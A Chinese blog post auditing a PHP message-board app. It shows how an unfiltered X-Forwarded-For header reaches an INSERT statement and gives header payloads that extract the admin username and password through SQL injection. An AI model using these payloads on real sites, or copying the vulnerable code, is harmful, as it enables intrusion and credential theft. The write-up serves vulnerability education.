美文网首页
代码审计树洞X_FORWARDED_FOR注入

代码审计树洞X_FORWARDED_FOR注入

作者: 蚁景科技 | 来源:发表于2018-08-02 09:13 被阅读10次
    本文为原创文章,转载请注明出处

    官网:https://yun.aoaoao.me/

    /includes/function.php 36-52 行

    function get_real_ip(){

    $ip=false;

    if(!empty($_SERVER["HTTP_CLIENT_IP"])){

    $ip = $_SERVER["HTTP_CLIENT_IP"];

    }

    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {

    $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);

    if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }

    for ($i = 0; $i < count($ips); $i++) {

    if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {

    $ip = $ips[$i];

    break;

    }

    }

    }

    return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);

    }

    获取HTTP_X_FORWARDED_FOR  

    HTTP_X_FORWARDED_FOR是可以用户自定义的

    没做什么过滤 取出函数输出一波

    看到输出就知道了一切(其实不看也知道)( ̄▽ ̄*)

    全局查找get_real_ip()  IP功能一般在用户登陆 注册 留言 这些是比较常见的

    /includes/save.php 23-28 行

    INSERT 注入原理我这里就不讲了

    带上 ming 参数 (post) 

    构造payload

    X-Forwarded-For: 1.1.1.1',user(),'0',1,1); #

    ming=123

    爆用户名: X-Forwarded-For: 1.1.1.1',(select username from sd_user where id=1),'0',uid,uid); # 

    爆密码: X-Forwarded-For: 1.1.1.1',(select pwdfrom sd_user where id=1),'0',uid,uid); #


    文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

    相关文章

      网友评论

          本文标题:代码审计树洞X_FORWARDED_FOR注入

          本文链接:https://www.haomeiwen.com/subject/vkfjvftx.html